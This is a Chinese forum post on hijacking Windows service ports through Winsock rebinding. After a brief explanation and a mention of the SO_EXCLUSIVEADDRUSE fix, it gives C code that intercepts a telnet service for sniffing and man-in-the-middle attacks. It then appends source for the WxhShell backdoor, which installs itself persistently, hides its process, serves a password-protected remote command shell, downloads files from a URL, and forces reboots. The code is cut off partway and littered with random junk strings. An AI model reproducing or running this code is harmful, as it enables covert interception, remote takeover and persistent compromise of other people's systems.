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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: GR&z,  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); W#^2#sjO  
0 t Fkd  
  saddr.sin_family = AF_INET; dCE0$3'5  
$w)!3c4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); J2::'Hw*s  
=Q+;=-1  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); NG--6\  
2;z b\d  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 A0o-:n Fu  
ti5mIW\  
  这意味着什么?意味着可以进行如下的攻击: GC>e26\:  
2Z-ljD&  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !Y$h"<M  
O~T@rX9f  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) k`So -e-  
CLRiJ*U  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ZIf  
5* j?E  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /I1h2 E  
0rOfrTNOz%  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Y'1S`.  
gbI^2=YT'  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 XlV0*}S  
U7K,AflK?M  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 m+b):  
?%O(mC]u&  
  #include '?!zG{x  
  #include ~k!j+>yT  
  #include 4,sJE2"[9  
  #include    \DYWy*pe  
  DWORD WINAPI ClientThread(LPVOID lpParam);   W }8'Pf  
  int main() qlb- jL  
  { 4.Q} 1%ZN  
  WORD wVersionRequested; ABQa 3{v  
  DWORD ret; OjFLPGRCh  
  WSADATA wsaData; =8t]\Y?  
  BOOL val; +aJ>rR  
  SOCKADDR_IN saddr; x.f]1S7h[  
  SOCKADDR_IN scaddr; fI{ESXU  
  int err; Rtb7|  
  SOCKET s; K@sV\"U(*E  
  SOCKET sc; ,24p%KJ*X  
  int caddsize; }@;ep&b*  
  HANDLE mt; UELy"z R  
  DWORD tid;   x,rlrxI  
  wVersionRequested = MAKEWORD( 2, 2 ); 01}C^iD  
  err = WSAStartup( wVersionRequested, &wsaData ); Q~OxH'>>(  
  if ( err != 0 ) { qCljo5Tq'  
  printf("error!WSAStartup failed!\n"); U@HK+C"M|  
  return -1; v16 JgycM  
  } n2]/v{E;/  
  saddr.sin_family = AF_INET; hM;lp1l  
   ->l%TCHP  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Jl5c [F  
X WUWY  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /LvRP yj@  
  saddr.sin_port = htons(23); N"" BCh"  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N.\- 8?>  
  { {>R:vH 8  
  printf("error!socket failed!\n"); &X|#R1\  
  return -1; *]AdUEV?  
  } -db_E#  
  val = TRUE; P+s !|7'  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 nSW=LjrO~<  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) eCqHvMp  
  { XiL~TCkx4  
  printf("error!setsockopt failed!\n"); |2RC#]/-Y  
  return -1; ,eTUhK  
  } I(V!Mv8j  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; t; 4]cg:_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?)kGA$m#  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _I)U%? V+  
TM_/ `a2}  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Jth[DUH8H  
  { n@C[@?D  
  ret=GetLastError(); pimtiQqC  
  printf("error!bind failed!\n"); AyNI$Q6Z  
  return -1; U^Q:Y}^  
  } "t (p&;d  
  listen(s,2); znxnL,-  
  while(1) (Dw,DY9  
  { [<%H>S1  
  caddsize = sizeof(scaddr); bmfI~8  
  //接受连接请求 ' 0J1vG~c  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); g]4(g<:O  
  if(sc!=INVALID_SOCKET) >Db;yC&  
  { Kla'lCZ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $6mX  
  if(mt==NULL) cki81bOT  
  { >4#)r8;dx  
  printf("Thread Creat Failed!\n"); Y0x%sz 5  
  break; 5Ow[~p"l<  
  } vRs,zL$W  
  } TygW0b 1  
  CloseHandle(mt); K('hC)1  
  } 7J EbH?lEN  
  closesocket(s); wgamshm"d  
  WSACleanup(); 'eLqlu|T  
  return 0; M_"L9^^>N  
  }   q1Q L@Ax  
  DWORD WINAPI ClientThread(LPVOID lpParam) \P.I)n`8 y  
  { X~lVVBO  
  SOCKET ss = (SOCKET)lpParam; :-/M?,Q"  
  SOCKET sc; t .7?  
  unsigned char buf[4096]; \/: {)T~  
  SOCKADDR_IN saddr; Lv| q  
  long num; N"]q='t  
  DWORD val; .NYbi@bk(<  
  DWORD ret; -I&m:A$4*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 )%`^xR  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   fA+ ,TEB~d  
  saddr.sin_family = AF_INET; v2B0q4*BS?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =<?+#-;p  
  saddr.sin_port = htons(23); -Z 4e.ay5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 555XCWyrC  
  { -_1>C\h"  
  printf("error!socket failed!\n"); 8=NM|i  
  return -1; gj*+\3KO@a  
  } j!U-'zJ  
  val = 100; Dpl A?  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .P[ _<8  
  { thifRd$4  
  ret = GetLastError(); :_g$.h%%  
  return -1; yXHUJgjl/  
  } KY51rw.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [n \2  
  { ]Q>.HH  
  ret = GetLastError(); m 8aITd8  
  return -1; [_1G@S6Ex  
  } PE5R7)~A  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +RyjF~  
  { VXR>]HUF  
  printf("error!socket connect failed!\n"); "#{4d),r  
  closesocket(sc); z^#;~I @M  
  closesocket(ss); KX'{[7}m'  
  return -1; *7ZN]/VRT  
  } a1_GIM0  
  while(1) AlAYiUw{  
  { vb<oi&X  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @~YYD#'vNY  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 k'Sp.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 mP0yk|  
  num = recv(ss,buf,4096,0); ,*7 (%k^`  
  if(num>0) :lf+W  
  send(sc,buf,num,0); X voo=  
  else if(num==0) xI($Uu}S  
  break; /5Oa,NS7  
  num = recv(sc,buf,4096,0); 0w&27wW  
  if(num>0) ki?S~'a  
  send(ss,buf,num,0); d$ x"/A]<  
  else if(num==0) gm igsXQ  
  break; Z -W(l<  
  } >[*8I\*@n  
  closesocket(ss); {L/tst#C  
  closesocket(sc); Y@N,qHtz  
  return 0 ; SqEgn}m$  
  } - jb0o/:  
i} .&0Fp  
lT&eJO~?5  
========================================================== uRZZxZ  
_kU:Z  
下边附上一个代码,,WXhSHELL 925|bX6I  
}BZ"S-hZ  
========================================================== KKiE@_z  
18+)`M-5o  
#include "stdafx.h" eZIhEOF  
AiEd!u.  
#include <stdio.h> ~Y|*`C_)  
#include <string.h> @mw5~+  
#include <windows.h> k <=//r  
#include <winsock2.h> ca7=V/i_a{  
#include <winsvc.h> ;7?kl>5]  
#include <urlmon.h> 6{n!Cb[e  
F'4w;-ax  
#pragma comment (lib, "Ws2_32.lib") 1(I6.BHW  
#pragma comment (lib, "urlmon.lib") q7_ m&-0)  
nD`w/0hT<  
#define MAX_USER   100 // 最大客户端连接数 9Iwe2lu  
#define BUF_SOCK   200 // sock buffer G6/p1xy>o:  
#define KEY_BUFF   255 // 输入 buffer |iE50,  
dQV;3^iUY  
#define REBOOT     0   // 重启 YQHw1  
#define SHUTDOWN   1   // 关机 }<@b=_>S  
WD]p U  
#define DEF_PORT   5000 // 监听端口 oSy yd  
YwDbPX  
#define REG_LEN     16   // 注册表键长度 lQ" p !  
#define SVC_LEN     80   // NT服务名长度 gkES5Q  
="Ho%*@6  
// 从dll定义API *AO,^R&e.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'EbWFMjy  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jQ2Ot<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); gtk7)Uh  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); x=b7':nQ  
tzZ`2pSh  
// wxhshell配置信息 &O9 |#YUq  
struct WSCFG { H`1{_  
  int ws_port;         // 监听端口 V@zg}C|e  
  char ws_passstr[REG_LEN]; // 口令 pGJ>O/%  
  int ws_autoins;       // 安装标记, 1=yes 0=no uE%r/:!k4$  
  char ws_regname[REG_LEN]; // 注册表键名 ([SU:F!uW(  
  char ws_svcname[REG_LEN]; // 服务名 }001K  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sf)EMh3Z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 L ^q""[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w80oXXs[#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,l !Ta "  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _FH`pv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 B8f8w)m  
xF;kT BRi  
}; _P0T)-X\(  
"e.jZcN*  
// default Wxhshell configuration 7 n8"/0kc:  
struct WSCFG wscfg={DEF_PORT, fI&t]   
    "xuhuanlingzhe", U>]$a71  
    1, _I@9HC 4  
    "Wxhshell", Fv~20G (O  
    "Wxhshell", <0b)YJb4M  
            "WxhShell Service", c~z82iXNO  
    "Wrsky Windows CmdShell Service", l`oZ) ?ur  
    "Please Input Your Password: ", )bS yB29S  
  1, ~Sj9GxTe  
  "http://www.wrsky.com/wxhshell.exe", sDPs G5q<  
  "Wxhshell.exe" |TS>h wkI  
    }; '[AlhBX  
w>pq+og&  
// 消息定义模块 \-h%O jf4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `uOT+B%R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \MyLc/Gh5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 11o.c;  
char *msg_ws_ext="\n\rExit."; vdAr|4^qB  
char *msg_ws_end="\n\rQuit."; #|L8tuWW  
char *msg_ws_boot="\n\rReboot..."; +R3k-' >  
char *msg_ws_poff="\n\rShutdown..."; 39:bzUIF  
char *msg_ws_down="\n\rSave to "; ?9e_gV{&;  
O_ `VV*  
char *msg_ws_err="\n\rErr!"; } Yb[   
char *msg_ws_ok="\n\rOK!"; ^E;kgED5  
8aK)#tNWN  
char ExeFile[MAX_PATH]; [tlI!~Z  
int nUser = 0; '(U-(wTC'/  
HANDLE handles[MAX_USER]; |iakz|])  
int OsIsNt; Ag9vU7  
7j@Hs[ *  
SERVICE_STATUS       serviceStatus; t| g4m[kr  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C 3^JAP  
-`'I{g&A  
// 函数声明 R%{<mno/_  
int Install(void); SIBtmm1W  
int Uninstall(void); 6wBx;y |  
int DownloadFile(char *sURL, SOCKET wsh); QoI3>Oj=  
int Boot(int flag); W0dSsjNio  
void HideProc(void); g%sluT[#  
int GetOsVer(void); C'9Cr}cZ.  
int Wxhshell(SOCKET wsl); arIf'CG6  
void TalkWithClient(void *cs); 3O,+=?VK  
int CmdShell(SOCKET sock); *=8JIs A>!  
int StartFromService(void); Ro\8ZXUQa  
int StartWxhshell(LPSTR lpCmdLine); {m4b(t`xw  
|]jb& M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z InpMp  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); cS5Pl  
,]|#[8  
// 数据结构和表定义 j'Gt&\4  
SERVICE_TABLE_ENTRY DispatchTable[] = PQy4{0 _  
{ -.1y(k^4E  
{wscfg.ws_svcname, NTServiceMain}, '*K:  lx  
{NULL, NULL} 3eb%OEMYk  
}; Si_ _8D  
/5S30 |K  
// 自我安装 sd*p/Q|4  
int Install(void) h k] N6+@  
{ 6.sx?YYM  
  char svExeFile[MAX_PATH]; [$mHv,~  
  HKEY key; /KFfU1  
  strcpy(svExeFile,ExeFile); SW H2  
j_K4;k#r  
// 如果是win9x系统,修改注册表设为自启动 @Xt*Snd  
if(!OsIsNt) { PC~Y8,A|.t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bGN:=Y'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6Y^23W F  
  RegCloseKey(key); nr95YSH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,c;Kzp>e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H3z: ZTI  
  RegCloseKey(key); {x|[p_?  
  return 0; 8m-U){r!U^  
    } \HqNAE2T  
  } t)~"4]{*}D  
} @@R7p  
else { ,BH@j%Jmy  
z6U\axO6  
// 如果是NT以上系统,安装为系统服务 APvDP?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W<bGDh  
if (schSCManager!=0) @P#N2:jwj  
{ hpHr\g  
  SC_HANDLE schService = CreateService B-xGX$<z  
  ( o2nv+fy W  
  schSCManager, *{YlN}vA  
  wscfg.ws_svcname, b,5~b&<h  
  wscfg.ws_svcdisp, (uXL^oja  
  SERVICE_ALL_ACCESS, d?ex,f.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zZ7;jyD  
  SERVICE_AUTO_START, T5R-B=YWu  
  SERVICE_ERROR_NORMAL, 0@[$lv;OS  
  svExeFile, lG9bLiFY  
  NULL, !<j'Ea  
  NULL, ^ UciW  
  NULL, ;!=G   
  NULL, VyXKZ%\dQ/  
  NULL (]Z_UTT  
  ); @D.}\(  
  if (schService!=0) -?H#LUk  
  { ];VA!++  
  CloseServiceHandle(schService); +O"!qAiK  
  CloseServiceHandle(schSCManager); rxe >}ZO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ],>@";9u"  
  strcat(svExeFile,wscfg.ws_svcname); o15-ZzE-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { FTX=Wyr  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v]'ztFA  
  RegCloseKey(key); %D UH@j  
  return 0; wu7Lk3  
    } ({ 8-*  
  } O_2pIbh  
  CloseServiceHandle(schSCManager); bZ?v-fn\D,  
} V3 9g,=`b%  
} cpe+XvBuK  
mf A{3  
return 1; Gk. ruQW"  
} Bgn&:T8<  
++bf#qS<8D  
// 自我卸载 7yG#Z)VE  
int Uninstall(void) hjU::m,WX  
{ )s)I2Z+  
  HKEY key; bo,_&4?  
sz5MH!/PJ  
if(!OsIsNt) { 9?A)n4b;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~De"?  
  RegDeleteValue(key,wscfg.ws_regname); 9"@\s$ OBk  
  RegCloseKey(key); <>n0arAn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :<ka3<0%  
  RegDeleteValue(key,wscfg.ws_regname); A|CmlAW~^  
  RegCloseKey(key); @y e4q.m  
  return 0; Eav[/cU  
  } !!qK=V|>  
} =4vy@7/  
} K#l:wH _  
else { HpR]q05d  
qsF<!'m7`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :Gv1?M  
if (schSCManager!=0) z(o,m3@v  
{ #&cI3i  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7WZrSC  
  if (schService!=0) "HX<,l8f%  
  { HvUxsdT  
  if(DeleteService(schService)!=0) { &w4?)#  
  CloseServiceHandle(schService); T\:4qETQF]  
  CloseServiceHandle(schSCManager); 9lTv   
  return 0; g(nPQOs$u  
  } iF*:d  
  CloseServiceHandle(schService); B6=ebM`q  
  } > pgX^  
  CloseServiceHandle(schSCManager); 5 VRYO"D:  
} ioa U*%  
} '#! gh?  
 ,t}vz 7  
return 1; $JSL-NkE  
} Pnw]Tm}g  
%/EVUN9=  
// 从指定url下载文件 )Z[ft  
int DownloadFile(char *sURL, SOCKET wsh) J`^ag'  
{ xE1 eT,  
  HRESULT hr; k[0-CB  
char seps[]= "/"; <CRP ^_c  
char *token; 01[NX? qEa  
char *file; PxF <\pu&  
char myURL[MAX_PATH]; {2qFY 5H  
char myFILE[MAX_PATH]; tv>>l%  
|\w=u6jX  
strcpy(myURL,sURL); X(!Cfb8+5  
  token=strtok(myURL,seps); L9-h;] x!  
  while(token!=NULL)  0,r}o  
  { IOTR/anu  
    file=token; "rTQG6`  
  token=strtok(NULL,seps); 0YaA`  
  } MRQ.`IoS  
^<;V]cY`  
GetCurrentDirectory(MAX_PATH,myFILE); Y_}mYvJW  
strcat(myFILE, "\\");  rL/H2[d  
strcat(myFILE, file); l;af~ef)'  
  send(wsh,myFILE,strlen(myFILE),0); n 9\ C2r  
send(wsh,"...",3,0); - *F(7$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :iFIQpk  
  if(hr==S_OK) 5>VY LI  
return 0; nv)2!mAh\  
else +U_=*"@|  
return 1; %509\;el  
3Uqr,0$p  
} 'iy*^A `Y  
;_8#f%Y#R  
// 系统电源模块 dlU'2Cl7d  
int Boot(int flag) MzPzqm<  
{ qe#P?[  
  HANDLE hToken; YRv&1!VLE  
  TOKEN_PRIVILEGES tkp; Jm|+-F@I  
?!wgH9?8  
  if(OsIsNt) { x??pBhJH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Jwj%_<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D*Ik7Pe  
    tkp.PrivilegeCount = 1; ";BlIovT=R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  XEC(P  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); tS|9fBdCs  
if(flag==REBOOT) { F&])P- !3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0~HKiH-  
  return 0; >:zK?(qu,N  
} zR `EU,  
else { x&^_c0fn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Wqc)Fv70m  
  return 0; #BJG9DFP4`  
} {D!6%`HKV+  
  } U`,0]"Qk  
  else { j>]nK~[ka  
if(flag==REBOOT) { aaKN^fi&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 76V 6cI=+  
  return 0; hj  
}  |?Frj  
else { fq5_G~c =  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7a#4tqM#  
  return 0; wUiys/ OVM  
} $B kubWM  
} !l|5z G  
8i|w(5m;  
return 1; so)"4 SEu  
} Y7#-Fra0W  
a^Tm u  
// win9x进程隐藏模块 CSGz3uC2D  
void HideProc(void) _9tK[ /h  
{ zrR`ecC(b  
?6L&WB  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %)[+%57{  
  if ( hKernel != NULL ) !:|TdYrmj  
  { fGw^:,B  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); X/z6"*(|/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); UbEb&9}  
    FreeLibrary(hKernel); v^)bhIPe;  
  } U7!.,kR-  
vo\fUT@k  
return; }Ow>dV?  
} w?zKjqza=v  
# altx=6'  
// 获取操作系统版本 cTD!B% x  
int GetOsVer(void) VR+<v   
{ +Vo}F  
  OSVERSIONINFO winfo; >w-;Z>3Q@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mNb ?*3\  
  GetVersionEx(&winfo); /n5F(5<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %1.]c6U  
  return 1; 0O\SU"bP  
  else U\veOQ;mW  
  return 0; hq:&wN 7Q  
} f6_];]yP  
is1's[  
// 客户端句柄模块 t6,wjN-J  
int Wxhshell(SOCKET wsl) (RUT{)p[  
{ Di@GY!  
  SOCKET wsh; Cw~RJ^a_  
  struct sockaddr_in client; 4q'B<7{Q  
  DWORD myID; "S&@F/  
sp7*_&'J  
  while(nUser<MAX_USER) .s<*'B7&  
{ Q\GDrdA  
  int nSize=sizeof(client); 2u"7T_"2D  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :9R=]#uD  
  if(wsh==INVALID_SOCKET) return 1; ew;ur?  
4B4Z])$3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Vo9F  
if(handles[nUser]==0) Ti2Ls5H}  
  closesocket(wsh); oT{@_U{*J  
else }<>~sy  
  nUser++; U9&k;`  
  } 3#vinz  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zF@o2<cD@  
m6MO W&  
  return 0; /wxE1][.  
} :-iMdtm  
rUlS'L;$"  
// 关闭 socket b1gaj"]  
void CloseIt(SOCKET wsh) g ^!C  
{ C@Nv;;AlU  
closesocket(wsh); 8 F2|  
nUser--; ^9_U Uzf\  
ExitThread(0); l{:a1^[>y  
} ( =16PYs  
F,GN[f-  
// 客户端请求句柄 &(z fa&j|  
void TalkWithClient(void *cs) zf.- I  
{ WKr X,GF  
3IR ^  
  SOCKET wsh=(SOCKET)cs; K7e4_ZGI  
  char pwd[SVC_LEN]; q8Nn%o=5V  
  char cmd[KEY_BUFF]; M wab!Ya  
char chr[1]; 6CC&Z>  
int i,j; X 6 lH|R  
T *I?9d{k  
  while (nUser < MAX_USER) { 1`LXz3uBe  
"o&HE@t  
if(wscfg.ws_passstr) { ?\/qeGW6G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Jz:r7w{4eB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h{}mBQl  
  //ZeroMemory(pwd,KEY_BUFF); ~P-*}q2J  
      i=0; ?X9]HlH  
  while(i<SVC_LEN) { -fgC" 2H  
]~>K\i  
  // 设置超时 lFUWV)J\  
  fd_set FdRead; #FYAV%pi  
  struct timeval TimeOut; r7]"?#  
  FD_ZERO(&FdRead); =q(GHg;'  
  FD_SET(wsh,&FdRead); Aaw(Ed  
  TimeOut.tv_sec=8; `7+j0kV)  
  TimeOut.tv_usec=0; `@`1pOb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /}5B&TZ=(3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Y&*x4&Lb  
gVU1Y6.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P2 0|RvE  
  pwd=chr[0]; |%D%0TR&Q  
  if(chr[0]==0xd || chr[0]==0xa) { Rt(J/%;  
  pwd=0; LS.r%:$mb  
  break; rrs"N3!aT  
  } Vv*NFJ|  
  i++; x`Fjf/1T*m  
    } gJ3c;  
?4z8)E9Ju  
  // 如果是非法用户,关闭 socket 6'OO-o  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kGN||h  
} 4B-yTyO  
b X)|MiWI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :a3LS|W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7;LO2<|1  
uCzii o`S  
while(1) { .dq "k  
`_ (~ Ud  
  ZeroMemory(cmd,KEY_BUFF); (E($3t8  
jB@4b 'y  
      // 自动支持客户端 telnet标准   )QY![&k}1z  
  j=0; Erb Sl  
  while(j<KEY_BUFF) { ^uaFg`S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]UNZd/hIL  
  cmd[j]=chr[0]; FUeq \Wuo  
  if(chr[0]==0xa || chr[0]==0xd) { j%&  IL0  
  cmd[j]=0; Pg^h,2h  
  break; kI*UkM-  
  } A%ywj'|z  
  j++; K%{ad1$c  
    } FMu!z  
h8^i\j  
  // 下载文件 6Dm+'y]l  
  if(strstr(cmd,"http://")) { "D> ]ES%5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M%=P)cC  
  if(DownloadFile(cmd,wsh)) #*%fu  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); z] @W[MHY  
  else VEh]p5D  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;;LuU<,$  
  } hWGZd~L  
  else { dl[ob,aCK  
5RA<Z.  
    switch(cmd[0]) { !p% @Deu  
  6 S*zzJ.0K  
  // 帮助 Hc!!tbBQ  
  case '?': { )l2P}k7`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ` !kL1oUYE  
    break; FuMq|S  
  } RdkU2Y}V  
  // 安装 q}Rlo/R  
  case 'i': { 7ti<  
    if(Install()) JFJIls  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vU9~[I`^p  
    else x[}06k'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r03I*b  
    break; rIp'vy S\p  
    } \6c8z/O7   
  // 卸载 ^^Bm$9  
  case 'r': { x?>!UqgkY  
    if(Uninstall()) T:@7 S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9C1b^^Kb  
    else E~69^ cd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4 f3=`[%  
    break; |?|K\UF(Y  
    } |%3O) B  
  // 显示 wxhshell 所在路径 CMKhS,,o  
  case 'p': { ) 1BiEK`v  
    char svExeFile[MAX_PATH]; Z3I L8  
    strcpy(svExeFile,"\n\r"); N7+#9S5fv  
      strcat(svExeFile,ExeFile); &V FjH W  
        send(wsh,svExeFile,strlen(svExeFile),0); H&u4v2  
    break; j`+0.Zlq  
    } "h`54 }0  
  // 重启 T!&jFy*W  
  case 'b': { 1uY3[Z9S  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); lxCX-a`@p  
    if(Boot(REBOOT)) sOjF?bCdO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yo@m50s$  
    else { @>gD1Q7v b  
    closesocket(wsh); \&# p1K(H  
    ExitThread(0); ;4R =eI  
    } B>ge, }{  
    break; i)GeX:  
    } *u<rU,C8  
  // 关机 .O;!W<Ef$  
  case 'd': { #%:`p9p.S  
